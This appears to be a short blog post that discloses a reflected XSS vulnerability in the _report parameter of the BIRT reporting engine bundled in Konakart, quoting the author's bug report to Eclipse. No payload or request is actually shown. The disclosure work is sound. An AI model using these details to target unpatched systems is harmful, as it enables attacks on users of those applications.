As I was doing an analysis on a few JEE applications that were using BIRT as default report/graph generation engine, I've found an XSS hole (reflected). They will fix it in version 2.5.0 (milestone), even if now the latest stable production version is 2.3.1: quite funny. Here below my post on bugs.eclipse.org :

A Reflected XSS is present in the _report parameter: here below 
th modified request (that is the BIRT 2.2.1 version included in 
Konakart 2.2.6)

Konakart is actually using 
org.eclipse.birt.core_2.2.1.r22x_v20070924, that is actually 
old I guess.

I don't have the time to try the exploit on newer versions, 
I leave this to you, even if I suppose that newer version will 
be vulnerable too.

Thanks
